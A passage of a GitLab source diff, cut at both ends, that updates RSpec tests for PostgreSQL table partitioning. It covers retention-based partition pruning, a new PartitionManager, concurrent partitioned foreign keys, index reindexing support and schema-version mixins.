+ expect(subject).not_to include(Gitlab::Database::Partitioning::TimePartition.new(model.table_name, '2020-05-01', '2020-06-01'))
+ end
+
+ it 'detects the missing partition for 1 month ago (July 2020)' do
+ expect(subject).to include(Gitlab::Database::Partitioning::TimePartition.new(model.table_name, '2020-07-01', '2020-08-01'))
+ end
+ end
+
it 'detects the gap and the missing partition in May 2020' do
expect(subject).to include(Gitlab::Database::Partitioning::TimePartition.new(model.table_name, '2020-05-01', '2020-06-01'))
end
@@ -108,6 +120,19 @@ RSpec.describe Gitlab::Database::Partitioning::MonthlyStrategy do
SQL
end
+ context 'when pruning partitions before June 2020' do
+ subject { described_class.new(model, partitioning_key, retain_for: 1.month).missing_partitions }
+
+ it 'detects exactly the set of partitions from June 2020 to March 2021' do
+ months = %w[2020-07-01 2020-08-01 2020-09-01 2020-10-01 2020-11-01 2020-12-01 2021-01-01 2021-02-01 2021-03-01]
+ expected = months[..-2].zip(months.drop(1)).map do |(from, to)|
+ Gitlab::Database::Partitioning::TimePartition.new(model.table_name, from, to)
+ end
+
+ expect(subject).to match_array(expected)
+ end
+ end
+
it 'detects the missing catch-all partition at the beginning' do
expect(subject).to include(Gitlab::Database::Partitioning::TimePartition.new(model.table_name, nil, '2020-08-01'))
end
@@ -150,4 +175,100 @@ RSpec.describe Gitlab::Database::Partitioning::MonthlyStrategy do
end
end
end
+
+ describe '#extra_partitions' do
+ let(:model) do
+ Class.new(ActiveRecord::Base) do
+ self.table_name = 'partitioned_test'
+ self.primary_key = :id
+ end
+ end
+
+ let(:partitioning_key) { :created_at }
+ let(:table_name) { :partitioned_test }
+
+ around do |example|
+ travel_to(Date.parse('2020-08-22')) { example.run }
+ end
+
+ describe 'with existing partitions' do
+ before do
+ ActiveRecord::Base.connection.execute(<<~SQL)
+ CREATE TABLE #{table_name}
+ (id serial not null, created_at timestamptz not null, PRIMARY KEY (id, created_at))
+ PARTITION BY RANGE (created_at);
+
+ CREATE TABLE #{Gitlab::Database::DYNAMIC_PARTITIONS_SCHEMA}.partitioned_test_000000
+ PARTITION OF #{table_name}
+ FOR VALUES FROM (MINVALUE) TO ('2020-05-01');
+
+ CREATE TABLE #{Gitlab::Database::DYNAMIC_PARTITIONS_SCHEMA}.partitioned_test_202005
+ PARTITION OF #{table_name}
+ FOR VALUES FROM ('2020-05-01') TO ('2020-06-01');
+
+ CREATE TABLE #{Gitlab::Database::DYNAMIC_PARTITIONS_SCHEMA}.partitioned_test_202006
+ PARTITION OF #{table_name}
+ FOR VALUES FROM ('2020-06-01') TO ('2020-07-01')
+ SQL
+ end
+
+ context 'without a time retention policy' do
+ subject { described_class.new(model, partitioning_key).extra_partitions }
+
+ it 'has no extra partitions to prune' do
+ expect(subject).to eq([])
+ end
+ end
+
+ context 'with a time retention policy that excludes no partitions' do
+ subject { described_class.new(model, partitioning_key, retain_for: 4.months).extra_partitions }
+
+ it 'has no extra partitions to prune' do
+ expect(subject).to eq([])
+ end
+ end
+
+ context 'with a time retention policy of 3 months' do
+ subject { described_class.new(model, partitioning_key, retain_for: 3.months).extra_partitions }
+
+ it 'prunes the unbounded partition ending 2020-05-01' do
+ min_value_to_may = Gitlab::Database::Partitioning::TimePartition.new(model.table_name, nil, '2020-05-01',
+ partition_name: 'partitioned_test_000000')
+
+ expect(subject).to contain_exactly(min_value_to_may)
+ end
+
+ context 'when the feature flag is toggled off' do
+ before do
+ stub_feature_flags(partition_pruning_dry_run: false)
+ end
+
+ it 'is empty' do
+ expect(subject).to eq([])
+ end
+ end
+ end
+
+ context 'with a time retention policy of 2 months' do
+ subject { described_class.new(model, partitioning_key, retain_for: 2.months).extra_partitions }
+
+ it 'prunes the unbounded partition and the partition for May-June' do
+ expect(subject).to contain_exactly(
+ Gitlab::Database::Partitioning::TimePartition.new(model.table_name, nil, '2020-05-01', partition_name: 'partitioned_test_000000'),
+ Gitlab::Database::Partitioning::TimePartition.new(model.table_name, '2020-05-01', '2020-06-01', partition_name: 'partitioned_test_202005')
+ )
+ end
+
+ context 'when the feature flag is toggled off' do
+ before do
+ stub_feature_flags(partition_pruning_dry_run: false)
+ end
+
+ it 'is empty' do
+ expect(subject).to eq([])
+ end
+ end
+ end
+ end
+ end
end
diff --git a/spec/lib/gitlab/database/partitioning/partition_creator_spec.rb b/spec/lib/gitlab/database/partitioning/partition_creator_spec.rb
deleted file mode 100644
index ec89f2ed61c..00000000000
--- a/spec/lib/gitlab/database/partitioning/partition_creator_spec.rb
+++ /dev/null
@@ -1,96 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Gitlab::Database::Partitioning::PartitionCreator do
- include Database::PartitioningHelpers
- include ExclusiveLeaseHelpers
-
- describe '.register' do
- let(:model) { double(partitioning_strategy: nil) }
-
- it 'remembers registered models' do
- expect { described_class.register(model) }.to change { described_class.models }.to include(model)
- end
- end
-
- describe '#create_partitions (mocked)' do
- subject { described_class.new(models).create_partitions }
-
- let(:models) { [model] }
- let(:model) { double(partitioning_strategy: partitioning_strategy, table_name: table) }
- let(:partitioning_strategy) { double(missing_partitions: partitions) }
- let(:table) { "some_table" }
-
- before do
- allow(ActiveRecord::Base.connection).to receive(:table_exists?).and_call_original
- allow(ActiveRecord::Base.connection).to receive(:table_exists?).with(table).and_return(true)
- allow(ActiveRecord::Base.connection).to receive(:execute).and_call_original
-
- stub_exclusive_lease(described_class::LEASE_KEY % table, timeout: described_class::LEASE_TIMEOUT)
- end
-
- let(:partitions) do
- [
- instance_double(Gitlab::Database::Partitioning::TimePartition, table: 'bar', partition_name: 'foo', to_sql: "SELECT 1"),
- instance_double(Gitlab::Database::Partitioning::TimePartition, table: 'bar', partition_name: 'foo2', to_sql: "SELECT 2")
- ]
- end
-
- it 'creates the partition' do
- expect(ActiveRecord::Base.connection).to receive(:execute).with(partitions.first.to_sql)
- expect(ActiveRecord::Base.connection).to receive(:execute).with(partitions.second.to_sql)
-
- subject
- end
-
- context 'error handling with 2 models' do
- let(:models) do
- [
- double(partitioning_strategy: strategy1, table_name: table),
- double(partitioning_strategy: strategy2, table_name: table)
- ]
- end
-
- let(:strategy1) { double('strategy1', missing_partitions: nil) }
- let(:strategy2) { double('strategy2', missing_partitions: partitions) }
-
- it 'still creates partitions for the second table' do
- expect(strategy1).to receive(:missing_partitions).and_raise('this should never happen (tm)')
- expect(ActiveRecord::Base.connection).to receive(:execute).with(partitions.first.to_sql)
- expect(ActiveRecord::Base.connection).to receive(:execute).with(partitions.second.to_sql)
-
- subject
- end
- end
- end
-
- describe '#create_partitions' do
- subject { described_class.new([my_model]).create_partitions }
-
- let(:connection) { ActiveRecord::Base.connection }
- let(:my_model) do
- Class.new(ApplicationRecord) do
- include PartitionedTable
-
- self.table_name = 'my_model_example_table'
-
- partitioned_by :created_at, strategy: :monthly
- end
- end
-
- before do
- connection.execute(<<~SQL)
- CREATE TABLE my_model_example_table
- (id serial not null, created_at timestamptz not null, primary key (id, created_at))
- PARTITION BY RANGE (created_at);
- SQL
- end
-
- it 'creates partitions' do
- expect { subject }.to change { find_partitions(my_model.table_name, schema: Gitlab::Database::DYNAMIC_PARTITIONS_SCHEMA).size }.from(0)
-
- subject
- end
- end
-end
diff --git a/spec/lib/gitlab/database/partitioning/partition_manager_spec.rb b/spec/lib/gitlab/database/partitioning/partition_manager_spec.rb
new file mode 100644
index 00000000000..903a41d6dd2
--- /dev/null
+++ b/spec/lib/gitlab/database/partitioning/partition_manager_spec.rb
@@ -0,0 +1,161 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Database::Partitioning::PartitionManager do
+ include Database::PartitioningHelpers
+ include Database::TableSchemaHelpers
+ include ExclusiveLeaseHelpers
+
+ describe '.register' do
+ let(:model) { double(partitioning_strategy: nil) }
+
+ it 'remembers registered models' do
+ expect { described_class.register(model) }.to change { described_class.models }.to include(model)
+ end
+ end
+
+ context 'creating partitions (mocked)' do
+ subject(:sync_partitions) { described_class.new(models).sync_partitions }
+
+ let(:models) { [model] }
+ let(:model) { double(partitioning_strategy: partitioning_strategy, table_name: table) }
+ let(:partitioning_strategy) { double(missing_partitions: partitions, extra_partitions: []) }
+ let(:table) { "some_table" }
+
+ before do
+ allow(ActiveRecord::Base.connection).to receive(:table_exists?).and_call_original
+ allow(ActiveRecord::Base.connection).to receive(:table_exists?).with(table).and_return(true)
+ allow(ActiveRecord::Base.connection).to receive(:execute).and_call_original
+
+ stub_exclusive_lease(described_class::MANAGEMENT_LEASE_KEY % table, timeout: described_class::LEASE_TIMEOUT)
+ end
+
+ let(:partitions) do
+ [
+ instance_double(Gitlab::Database::Partitioning::TimePartition, table: 'bar', partition_name: 'foo', to_sql: "SELECT 1"),
+ instance_double(Gitlab::Database::Partitioning::TimePartition, table: 'bar', partition_name: 'foo2', to_sql: "SELECT 2")
+ ]
+ end
+
+ it 'creates the partition' do
+ expect(ActiveRecord::Base.connection).to receive(:execute).with(partitions.first.to_sql)
+ expect(ActiveRecord::Base.connection).to receive(:execute).with(partitions.second.to_sql)
+
+ sync_partitions
+ end
+
+ context 'error handling with 2 models' do
+ let(:models) do
+ [
+ double(partitioning_strategy: strategy1, table_name: table),
+ double(partitioning_strategy: strategy2, table_name: table)
+ ]
+ end
+
+ let(:strategy1) { double('strategy1', missing_partitions: nil, extra_partitions: []) }
+ let(:strategy2) { double('strategy2', missing_partitions: partitions, extra_partitions: []) }
+
+ it 'still creates partitions for the second table' do
+ expect(strategy1).to receive(:missing_partitions).and_raise('this should never happen (tm)')
+ expect(ActiveRecord::Base.connection).to receive(:execute).with(partitions.first.to_sql)
+ expect(ActiveRecord::Base.connection).to receive(:execute).with(partitions.second.to_sql)
+
+ sync_partitions
+ end
+ end
+ end
+
+ context 'creating partitions' do
+ subject(:sync_partitions) { described_class.new([my_model]).sync_partitions }
+
+ let(:connection) { ActiveRecord::Base.connection }
+ let(:my_model) do
+ Class.new(ApplicationRecord) do
+ include PartitionedTable
+
+ self.table_name = 'my_model_example_table'
+
+ partitioned_by :created_at, strategy: :monthly
+ end
+ end
+
+ before do
+ connection.execute(<<~SQL)
+ CREATE TABLE my_model_example_table
+ (id serial not null, created_at timestamptz not null, primary key (id, created_at))
+ PARTITION BY RANGE (created_at);
+ SQL
+ end
+
+ it 'creates partitions' do
+ expect { sync_partitions }.to change { find_partitions(my_model.table_name, schema: Gitlab::Database::DYNAMIC_PARTITIONS_SCHEMA).size }.from(0)
+ end
+ end
+
+ context 'detaching partitions (mocked)' do
+ subject(:sync_partitions) { manager.sync_partitions }
+
+ let(:manager) { described_class.new(models) }
+ let(:models) { [model] }
+ let(:model) { double(partitioning_strategy: partitioning_strategy, table_name: table)}
+ let(:partitioning_strategy) { double(extra_partitions: extra_partitions, missing_partitions: []) }
+ let(:table) { "foo" }
+
+ before do
+ allow(ActiveRecord::Base.connection).to receive(:table_exists?).and_call_original
+ allow(ActiveRecord::Base.connection).to receive(:table_exists?).with(table).and_return(true)
+
+ stub_exclusive_lease(described_class::MANAGEMENT_LEASE_KEY % table, timeout: described_class::LEASE_TIMEOUT)
+ end
+
+ let(:extra_partitions) do
+ [
+ instance_double(Gitlab::Database::Partitioning::TimePartition, table: table, partition_name: 'foo1'),
+ instance_double(Gitlab::Database::Partitioning::TimePartition, table: table, partition_name: 'foo2')
+ ]
+ end
+
+ context 'with the partition_pruning_dry_run feature flag enabled' do
+ before do
+ stub_feature_flags(partition_pruning_dry_run: true)
+ end
+
+ it 'detaches each extra partition' do
+ extra_partitions.each { |p| expect(manager).to receive(:detach_one_partition).with(p) }
+
+ sync_partitions
+ end
+
+ context 'error handling' do
+ let(:models) do
+ [
+ double(partitioning_strategy: error_strategy, table_name: table),
+ model
+ ]
+ end
+
+ let(:error_strategy) { double(extra_partitions: nil, missing_partitions: []) }
+
+ it 'still drops partitions for the other model' do
+ expect(error_strategy).to receive(:extra_partitions).and_raise('injected error!')
+ extra_partitions.each { |p| expect(manager).to receive(:detach_one_partition).with(p) }
+
+ sync_partitions
+ end
+ end
+ end
+
+ context 'with the partition_pruning_dry_run feature flag disabled' do
+ before do
+ stub_feature_flags(partition_pruning_dry_run: false)
+ end
+
+ it 'returns immediately' do
+ expect(manager).not_to receive(:detach)
+
+ sync_partitions
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/database/partitioning_migration_helpers/foreign_key_helpers_spec.rb b/spec/lib/gitlab/database/partitioning_migration_helpers/foreign_key_helpers_spec.rb
index 83f2436043c..a524fe681e9 100644
--- a/spec/lib/gitlab/database/partitioning_migration_helpers/foreign_key_helpers_spec.rb
+++ b/spec/lib/gitlab/database/partitioning_migration_helpers/foreign_key_helpers_spec.rb
@@ -3,192 +3,142 @@
require 'spec_helper'
RSpec.describe Gitlab::Database::PartitioningMigrationHelpers::ForeignKeyHelpers do
- include Database::TriggerHelpers
+ include Database::TableSchemaHelpers
- let(:model) do
- ActiveRecord::Migration.new.extend(described_class)
+ let(:migration) do
+ ActiveRecord::Migration.new.extend(Gitlab::Database::PartitioningMigrationHelpers)
end
- let_it_be(:connection) { ActiveRecord::Base.connection }
-
- let(:referenced_table) { :issues }
- let(:function_name) { '_test_partitioned_foreign_keys_function' }
- let(:trigger_name) { '_test_partitioned_foreign_keys_trigger' }
+ let(:source_table_name) { '_test_partitioned_table' }
+ let(:target_table_name) { '_test_referenced_table' }
+ let(:column_name) { "#{target_table_name}_id" }
+ let(:foreign_key_name) { '_test_partitioned_fk' }
+ let(:partition_schema) { 'gitlab_partitions_dynamic' }
+ let(:partition1_name) { "#{partition_schema}.#{source_table_name}_202001" }
+ let(:partition2_name) { "#{partition_schema}.#{source_table_name}_202002" }
+ let(:options) do
+ {
+ column: column_name,
+ name: foreign_key_name,
+ on_delete: :cascade,
+ validate: true
+ }
+ end
before do
- allow(model).to receive(:puts)
- allow(model).to receive(:fk_function_name).and_return(function_name)
- allow(model).to receive(:fk_trigger_name).and_return(trigger_name)
+ allow(migration).to receive(:puts)
+
+ connection.execute(<<~SQL)
+ CREATE TABLE #{target_table_name} (
+ id serial NOT NULL,
+ PRIMARY KEY (id)
+ );
+
+ CREATE TABLE #{source_table_name} (
+ id serial NOT NULL,
+ #{column_name} int NOT NULL,
+ created_at timestamptz NOT NULL,
+ PRIMARY KEY (id, created_at)
+ ) PARTITION BY RANGE (created_at);
+
+ CREATE TABLE #{partition1_name} PARTITION OF #{source_table_name}
+ FOR VALUES FROM ('2020-01-01') TO ('2020-02-01');
+
+ CREATE TABLE #{partition2_name} PARTITION OF #{source_table_name}
+ FOR VALUES FROM ('2020-02-01') TO ('2020-03-01');
+ SQL
end
- describe 'adding a foreign key' do
+ describe '#add_concurrent_partitioned_foreign_key' do
before do
- allow(model).to receive(:transaction_open?).and_return(false)
- end
-
- context 'when the table has no foreign keys' do
- it 'creates a trigger function to handle the single cascade' do
- model.add_partitioned_foreign_key :issue_assignees, referenced_table
-
- expect_function_to_contain(function_name, 'delete from issue_assignees where issue_id = old.id')
- expect_valid_function_trigger(referenced_table, trigger_name, function_name, after: 'delete')
- end
- end
-
- context 'when the table already has foreign keys' do
- context 'when the foreign key is from a different table' do
- before do
- model.add_partitioned_foreign_key :issue_assignees, referenced_table
- end
-
- it 'creates a trigger function to handle the multiple cascades' do
- model.add_partitioned_foreign_key :epic_issues, referenced_table
-
- expect_function_to_contain(function_name,
- 'delete from issue_assignees where issue_id = old.id',
- 'delete from epic_issues where issue_id = old.id')
- expect_valid_function_trigger(referenced_table, trigger_name, function_name, after: 'delete')
- end
- end
-
- context 'when the foreign key is from the same table' do
- before do
- model.add_partitioned_foreign_key :issues, referenced_table, column: :moved_to_id
- end
-
- context 'when the foreign key is from a different column' do
- it 'creates a trigger function to handle the multiple cascades' do
- model.add_partitioned_foreign_key :issues, referenced_table, column: :duplicated_to_id
-
- expect_function_to_contain(function_name,
- 'delete from issues where moved_to_id = old.id',
- 'delete from issues where duplicated_to_id = old.id')
- expect_valid_function_trigger(referenced_table, trigger_name, function_name, after: 'delete')
- end
- end
-
- context 'when the foreign key is from the same column' do
- it 'ignores the duplicate and properly recreates the trigger function' do
- model.add_partitioned_foreign_key :issues, referenced_table, column: :moved_to_id
-
- expect_function_to_contain(function_name, 'delete from issues where moved_to_id = old.id')
- expect_valid_function_trigger(referenced_table, trigger_name, function_name, after: 'delete')
- end
- end
- end
- end
+ allow(migration).to receive(:foreign_key_exists?)
+ .with(source_table_name, target_table_name, anything)
+ .and_return(false)
- context 'when the foreign key is set to nullify' do
- it 'creates a trigger function that nullifies the foreign key' do
- model.add_partitioned_foreign_key :issue_assignees, referenced_table, on_delete: :nullify
-
- expect_function_to_contain(function_name, 'update issue_assignees set issue_id = null where issue_id = old.id')
- expect_valid_function_trigger(referenced_table, trigger_name, function_name, after: 'delete')
- end
+ allow(migration).to receive(:with_lock_retries).and_yield
end
- context 'when the referencing column is a custom value' do
- it 'creates a trigger function with the correct column name' do
- model.add_partitioned_foreign_key :issues, referenced_table, column: :duplicated_to_id
+ context 'when the foreign key does not exist on the parent table' do
+ it 'creates the foreign key on each partition, and the parent table' do
+ expect(migration).to receive(:foreign_key_exists?)
+ .with(source_table_name, target_table_name, **options)
+ .and_return(false)
- expect_function_to_contain(function_name, 'delete from issues where duplicated_to_id = old.id')
- expect_valid_function_trigger(referenced_table, trigger_name, function_name, after: 'delete')
- end
- end
+ expect(migration).to receive(:concurrent_partitioned_foreign_key_name).and_return(foreign_key_name)
- context 'when the referenced column is a custom value' do
- let(:referenced_table) { :user_details }
+ expect_add_concurrent_fk_and_call_original(partition1_name, target_table_name, **options)
+ expect_add_concurrent_fk_and_call_original(partition2_name, target_table_name, **options)
- it 'creates a trigger function with the correct column name' do
- model.add_partitioned_foreign_key :user_preferences, referenced_table, column: :user_id, primary_key: :user_id
+ expect(migration).to receive(:with_lock_retries).ordered.and_yield
+ expect(migration).to receive(:add_foreign_key)
+ .with(source_table_name, target_table_name, **options)
+ .ordered
+ .and_call_original
- expect_function_to_contain(function_name, 'delete from user_preferences where user_id = old.user_id')
- expect_valid_function_trigger(referenced_table, trigger_name, function_name, after: 'delete')
- end
- end
+ migration.add_concurrent_partitioned_foreign_key(source_table_name, target_table_name, column: column_name)
- context 'when the given key definition is invalid' do
- it 'raises an error with the appropriate message' do
- expect do
- model.add_partitioned_foreign_key :issue_assignees, referenced_table, column: :not_a_real_issue_id
- end.to raise_error(/From column must be a valid column/)
+ expect_foreign_key_to_exist(source_table_name, foreign_key_name)
end
- end
-
- context 'when run inside a transaction' do
- it 'raises an error' do
- expect(model).to receive(:transaction_open?).and_return(true)
- expect do
- model.add_partitioned_foreign_key :issue_assignees, referenced_table
- end.to raise_error(/can not be run inside a transaction/)
+ def expect_add_concurrent_fk_and_call_original(source_table_name, target_table_name, options)
+ expect(migration).to receive(:add_concurrent_foreign_key)
+ .ordered
+ .with(source_table_name, target_table_name, options)
+ .and_wrap_original do |_, source_table_name, target_table_name, options|
+ connection.add_foreign_key(source_table_name, target_table_name, **options)
+ end
end
end
- end
- context 'removing a foreign key' do
- before do
- allow(model).to receive(:transaction_open?).and_return(false)
- end
+ context 'when the foreign key exists on the parent table' do
+ it 'does not attempt to create any foreign keys' do
+ expect(migration).to receive(:concurrent_partitioned_foreign_key_name).and_return(foreign_key_name)
- context 'when the table has multiple foreign keys' do
- before do
- model.add_partitioned_foreign_key :issue_assignees, referenced_table
- model.add_partitioned_foreign_key :epic_issues, referenced_table
- end
+ expect(migration).to receive(:foreign_key_exists?)
+ .with(source_table_name, target_table_name, **options)
+ .and_return(true)
- it 'creates a trigger function without the removed cascade' do
- expect_function_to_contain(function_name,
- 'delete from issue_assignees where issue_id = old.id',
- 'delete from epic_issues where issue_id = old.id')
- expect_valid_function_trigger(referenced_table, trigger_name, function_name, after: 'delete')
+ expect(migration).not_to receive(:add_concurrent_foreign_key)
+ expect(migration).not_to receive(:with_lock_retries)
+ expect(migration).not_to receive(:add_foreign_key)
- model.remove_partitioned_foreign_key :issue_assignees, referenced_table
+ migration.add_concurrent_partitioned_foreign_key(source_table_name, target_table_name, column: column_name)
- expect_function_to_contain(function_name, 'delete from epic_issues where issue_id = old.id')
- expect_valid_function_trigger(referenced_table, trigger_name, function_name, after: 'delete')
+ expect_foreign_key_not_to_exist(source_table_name, foreign_key_name)
end
end
- context 'when the table has only one remaining foreign key' do
- before do
- model.add_partitioned_foreign_key :issue_assignees, referenced_table
+ context 'when additional foreign key options are given' do
+ let(:options) do
+ {
+ column: column_name,
+ name: '_my_fk_name',
+ on_delete: :restrict,
+ validate: true
+ }
end
- it 'removes the trigger function altogether' do
- expect_function_to_contain(function_name, 'delete from issue_assignees where issue_id = old.id')
- expect_valid_function_trigger(referenced_table, trigger_name, function_name, after: 'delete')
-
- model.remove_partitioned_foreign_key :issue_assignees, referenced_table
-
- expect_function_not_to_exist(function_name)
- expect_trigger_not_to_exist(referenced_table, trigger_name)
- end
- end
+ it 'forwards them to the foreign key helper methods' do
+ expect(migration).to receive(:foreign_key_exists?)
+ .with(source_table_name, target_table_name, **options)
+ .and_return(false)
- context 'when the foreign key does not exist' do
- before do
- model.add_partitioned_foreign_key :issue_assignees, referenced_table
- end
+ expect(migration).not_to receive(:concurrent_partitioned_foreign_key_name)
- it 'ignores the invalid key and properly recreates the trigger function' do
- expect_function_to_contain(function_name, 'delete from issue_assignees where issue_id = old.id')
- expect_valid_function_trigger(referenced_table, trigger_name, function_name, after: 'delete')
+ expect_add_concurrent_fk(partition1_name, target_table_name, **options)
+ expect_add_concurrent_fk(partition2_name, target_table_name, **options)
- model.remove_partitioned_foreign_key :issues, referenced_table, column: :moved_to_id
+ expect(migration).to receive(:with_lock_retries).ordered.and_yield
+ expect(migration).to receive(:add_foreign_key).with(source_table_name, target_table_name, **options).ordered
- expect_function_to_contain(function_name, 'delete from issue_assignees where issue_id = old.id')
- expect_valid_function_trigger(referenced_table, trigger_name, function_name, after: 'delete')
+ migration.add_concurrent_partitioned_foreign_key(source_table_name, target_table_name,
+ column: column_name, name: '_my_fk_name', on_delete: :restrict)
end
- end
-
- context 'when run outside a transaction' do
- it 'raises an error' do
- expect(model).to receive(:transaction_open?).and_return(true)
- expect do
- model.remove_partitioned_foreign_key :issue_assignees, referenced_table
- end.to raise_error(/can not be run inside a transaction/)
+ def expect_add_concurrent_fk(source_table_name, target_table_name, options)
+ expect(migration).to receive(:add_concurrent_foreign_key)
+ .ordered
+ .with(source_table_name, target_table_name, options)
end
end
end
diff --git a/spec/lib/gitlab/database/partitioning_migration_helpers/partitioned_foreign_key_spec.rb b/spec/lib/gitlab/database/partitioning_migration_helpers/partitioned_foreign_key_spec.rb
deleted file mode 100644
index a58c37f111d..00000000000
--- a/spec/lib/gitlab/database/partitioning_migration_helpers/partitioned_foreign_key_spec.rb
+++ /dev/null
@@ -1,48 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Gitlab::Database::PartitioningMigrationHelpers::PartitionedForeignKey do
- let(:foreign_key) do
- described_class.new(
- to_table: 'issues',
- from_table: 'issue_assignees',
- from_column: 'issue_id',
- to_column: 'id',
- cascade_delete: true)
- end
-
- describe 'validations' do
- it 'allows keys that reference valid tables and columns' do
- expect(foreign_key).to be_valid
- end
-
- it 'does not allow keys without a valid to_table' do
- foreign_key.to_table = 'this_is_not_a_real_table'
-
- expect(foreign_key).not_to be_valid
- expect(foreign_key.errors[:to_table].first).to eq('must be a valid table')
- end
-
- it 'does not allow keys without a valid from_table' do
- foreign_key.from_table = 'this_is_not_a_real_table'
-
- expect(foreign_key).not_to be_valid
- expect(foreign_key.errors[:from_table].first).to eq('must be a valid table')
- end
-
- it 'does not allow keys without a valid to_column' do
- foreign_key.to_column = 'this_is_not_a_real_fk'
-
- expect(foreign_key).not_to be_valid
- expect(foreign_key.errors[:to_column].first).to eq('must be a valid column')
- end
-
- it 'does not allow keys without a valid from_column' do
- foreign_key.from_column = 'this_is_not_a_real_pk'
-
- expect(foreign_key).not_to be_valid
- expect(foreign_key.errors[:from_column].first).to eq('must be a valid column')
- end
- end
-end
diff --git a/spec/lib/gitlab/database/postgres_index_spec.rb b/spec/lib/gitlab/database/postgres_index_spec.rb
index 2fda9b85c5a..e1832219ebf 100644
--- a/spec/lib/gitlab/database/postgres_index_spec.rb
+++ b/spec/lib/gitlab/database/postgres_index_spec.rb
@@ -22,17 +22,23 @@ RSpec.describe Gitlab::Database::PostgresIndex do
it_behaves_like 'a postgres model'
- describe '.regular' do
- it 'only non-unique indexes' do
- expect(described_class.regular).to all(have_attributes(unique: false))
- end
-
+ describe '.reindexing_support' do
it 'only non partitioned indexes' do
- expect(described_class.regular).to all(have_attributes(partitioned: false))
+ expect(described_class.reindexing_support).to all(have_attributes(partitioned: false))
end
it 'only indexes that dont serve an exclusion constraint' do
- expect(described_class.regular).to all(have_attributes(exclusion: false))
+ expect(described_class.reindexing_support).to all(have_attributes(exclusion: false))
+ end
+
+ it 'only non-expression indexes' do
+ expect(described_class.reindexing_support).to all(have_attributes(expression: false))
+ end
+
+ it 'only btree and gist indexes' do
+ types = described_class.reindexing_support.map(&:type).uniq
+
+ expect(types & %w(btree gist)).to eq(types)
end
end
@@ -67,6 +73,34 @@ RSpec.describe Gitlab::Database::PostgresIndex do
end
end
+ describe '#relative_bloat_level' do
+ subject { build(:postgres_index, bloat_estimate: bloat_estimate, ondisk_size_bytes: 1024) }
+
+ let(:bloat_estimate) { build(:postgres_index_bloat_estimate, bloat_size: 256) }
+
+ it 'calculates the relative bloat level' do
+ expect(subject.relative_bloat_level).to eq(0.25)
+ end
+ end
+
+ describe '#reset' do
+ subject { index.reset }
+
+ let(:index) { described_class.by_identifier(identifier) }
+
+ it 'calls #reload' do
+ expect(index).to receive(:reload).once.and_call_original
+
+ subject
+ end
+
+ it 'resets the bloat estimation' do
+ expect(index).to receive(:clear_memoization).with(:bloat_size).and_call_original
+
+ subject
+ end
+ end
+
describe '#unique?' do
it 'returns true for a unique index' do
expect(find('public.bar_key')).to be_unique
diff --git a/spec/lib/gitlab/database/postgresql_adapter/dump_schema_versions_mixin_spec.rb b/spec/lib/gitlab/database/postgresql_adapter/dump_schema_versions_mixin_spec.rb
index ca9f4af9187..40e36bc02e9 100644
--- a/spec/lib/gitlab/database/postgresql_adapter/dump_schema_versions_mixin_spec.rb
+++ b/spec/lib/gitlab/database/postgresql_adapter/dump_schema_versions_mixin_spec.rb
@@ -3,33 +3,27 @@
require 'spec_helper'
RSpec.describe Gitlab::Database::PostgresqlAdapter::DumpSchemaVersionsMixin do
- let(:schema_migration) { double('schema_migration', all_versions: versions) }
-
- let(:instance) do
- Object.new.extend(described_class)
- end
-
- before do
- allow(instance).to receive(:schema_migration).and_return(schema_migration)
- end
-
- context 'when version files exist' do
- let(:versions) { %w(5 2 1000 200 4 93 2) }
+ let(:instance_class) do
+ klass = Class.new do
+ def dump_schema_information
+ original_dump_schema_information
+ end
+
+ def original_dump_schema_information
+ end
+ end
- it 'touches version files' do
- expect(Gitlab::Database::SchemaVersionFiles).to receive(:touch_all).with(versions)
+ klass.prepend(described_class)
- instance.dump_schema_information
- end
+ klass
end
- context 'when version files do not exist' do
- let(:versions) { [] }
+ let(:instance) { instance_class.new }
- it 'does not touch version files' do
- expect(Gitlab::Database::SchemaVersionFiles).not_to receive(:touch_all)
+ it 'calls SchemaMigrations touch_all and skips original implementation' do
+ expect(Gitlab::Database::SchemaMigrations).to receive(:touch_all).with(instance)
+ expect(instance).not_to receive(:original_dump_schema_information)
- instance.dump_schema_information
- end
+ instance.dump_schema_information
end
end
diff --git a/spec/lib/gitlab/database/postgresql_adapter/force_disconnectable_mixin_spec.rb b/spec/lib/gitlab/database/postgresql_adapter/force_disconnectable_mixin_spec.rb
index ea8c9e2cfd7..2a1f91b5b21 100644
--- a/spec/lib/gitlab/database/postgresql_adapter/force_disconnectable_mixin_spec.rb
+++ b/spec/lib/gitlab/database/postgresql_adapter/force_disconnectable_mixin_spec.rb
@@ -14,7 +14,7 @@ RSpec.describe Gitlab::Database::PostgresqlAdapter::ForceDisconnectableMixin do
end
end
- let(:config) { Rails.application.config_for(:database).merge(pool: 1) }
+ let(:config) { ActiveRecord::Base.configurations.find_db_config(Rails.env).configuration_hash.merge(pool: 1) }
let(:pool) { model.establish_connection(config) }
it 'calls the force disconnect callback on checkin' do
diff --git a/spec/lib/gitlab/database/postgresql_adapter/type_map_cache_spec.rb b/spec/lib/gitlab/database/postgresql_adapter/type_map_cache_spec.rb
index e9c512f94bb..c6542aa2adb 100644
--- a/spec/lib/gitlab/database/postgresql_adapter/type_map_cache_spec.rb
+++ b/spec/lib/gitlab/database/postgresql_adapter/type_map_cache_spec.rb
@@ -3,7 +3,7 @@
require 'spec_helper'
RSpec.describe Gitlab::Database::PostgresqlAdapter::TypeMapCache do
- let(:db_config) { ActiveRecord::Base.configurations.configs_for(env_name: 'test', name: 'primary').configuration_hash }
+ let(:db_config) { ActiveRecord::Base.configurations.find_db_config(Rails.env).configuration_hash }
let(:adapter_class) { ActiveRecord::ConnectionAdapters::PostgreSQLAdapter }
before do
diff --git a/spec/lib/gitlab/database/postgresql_database_tasks/load_schema_versions_mixin_spec.rb b/spec/lib/gitlab/database/postgresql_database_tasks/load_schema_versions_mixin_spec.rb
new file mode 100644
index 00000000000..3e675a85999
--- /dev/null
+++ b/spec/lib/gitlab/database/postgresql_database_tasks/load_schema_versions_mixin_spec.rb
@@ -0,0 +1,32 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Database::PostgresqlDatabaseTasks::LoadSchemaVersionsMixin do
+ let(:instance_class) do
+ klass = Class.new do
+ def structure_load
+ original_structure_load
+ end
+
+ def original_structure_load
+ end
+ end
+
